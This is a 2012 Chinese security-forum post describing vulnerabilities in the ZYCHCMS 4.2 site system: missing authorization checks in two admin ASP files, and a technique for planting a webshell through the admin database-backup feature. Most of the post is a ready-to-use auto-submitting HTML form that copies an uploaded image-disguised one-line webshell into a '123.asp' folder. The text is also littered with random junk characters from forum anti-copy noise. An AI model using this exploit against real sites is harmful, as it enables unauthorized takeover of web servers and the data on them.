找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1792|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
( X, o. c' Z4 e

3 w( F6 `& t1 \- u
2 }. [3 q7 R' K& k/ u4 B$ o8 I4 Z# V! U5 B
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀): }; `& M/ m: q
①SQL注射漏洞* j5 R& Q2 _) H0 Z8 V3 ~3 X
漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp
9 }5 d9 C$ `8 k4 U# R 漏洞原因:未过滤- b" |+ ^0 y/ v9 d
漏洞代码:
3 V; B' R( y/ K5 H' A; a- E$ G. K 都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。
9 K( v7 t* }' b5 i. j3 d/ _ 修复方法:在文件开头加入代码) b5 V/ O, V5 |: O1 Y

/ t& C( Q& H7 e4 J* O" y) ^8 Z2 f9 A* @  N
②后台拿WBSHELL
% T; \: K2 x; a  n1 L+ Q; M: e, Z 进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
8 Y! N& b! `! z- D6 y2 ]# ~2 H 这里在网上找了一个,改了下,将就着用。- K0 M& W- O: R: A( Z
以下是代码本地提交代码) K! K! q* D5 i
" q' V1 Q3 ?+ Y. ]2 l# X

" V$ y' g3 K/ u3 w<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>' J8 C9 q4 {* D0 p
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>8 C( ~! \- ^9 M% w4 s- B9 d3 V5 S
<tr>
+ C; s6 Z5 V' S7 f8 e <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
8 T) N, o* C$ W+ ]4 s. I1 i </tr>; a! a& B! R2 i- z, a+ P6 X
<tr>; U" s% _1 M; d- K' |
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
8 P3 z  C& t( t. ]& V </span>3 K& X/ O# Z$ b& d( P
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >- f' s! {3 i8 ~2 V  A) F$ [
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
- u7 H0 f) @% V: b% j <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
' C& I" \  D) F1 E5 {' | <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d% D0 ~/ g% `$ W0 _5 d% H
<div align=”left”>/ _/ x  w% ]9 B  e2 t9 i
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
. T' _0 a1 d. }7 j8 b7 O <!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg># h# l& z2 y) a8 y$ ~0 n0 n
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />* }/ }1 `; n, V
</div></td>9 U2 u; o5 ?+ t; W1 L% H9 ~! `
</tr>& U; w" B" N# V( }
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
9 w, k0 Y0 [# s, d( U* A) x <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>* G2 l- h: O) o/ `
<td class=”td”><div align=”left”>
/ }$ n3 v8 N6 l6 l <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />- K& X6 X0 _! P+ K* @
[如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>+ @; J) B2 a  V
</tr>9 \- a# }) I$ G
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>3 n. q! W  Y+ E( v5 y% _/ Z
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>0 F9 t9 O0 v% r: {% D8 A% K
<td class=”td”><div align=”left”>  {* h% D% |4 F/ V! y9 |8 h9 o9 P
<input type=”submit” value=”确定备份” class=”btn”9 q% p( k# D. T. G# e
</div></td>% Y# i% B( z% Q/ k/ W4 ^9 {
</tr>9 g2 [+ F/ c/ i2 C) B9 Q
</table></td></tr></form>9 n+ C0 H* ~. U% k
</table>3 ]+ Q- [# u. d6 x4 h2 v! |
</td>( L* i: K7 ?2 ~5 F" z
</tr>
" n6 b$ ?: R  G, p: P </table>2 U! K6 t9 `2 b! q) K# n4 _' `
<script>
  l, c+ D# j- b/ g% r0 a" ^ document.all.add.submit();
! W8 j5 b# m( q$ @ </script>
/ Z3 O' b- p9 T0 C" R, E$ q9 |' B
. Y' y# {/ Q, T; `2 X: O- r
. o8 z/ G% y; A7 x$ w4 @7 j( a  ]/ k3 J- g, g5 W2 q

; v$ a! Y) x; p$ m; S- `2 p2 ]8 `: [- W/ Y7 U/ i( t0 X

; C% [0 q" a/ y/ M! z  O9 u  t5 g( [
& s" f5 G# \& p8 {6 }

$ O; Q8 h# P! A: o; ~) j4 Y% ?3 U. N8 c. n4 \2 F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表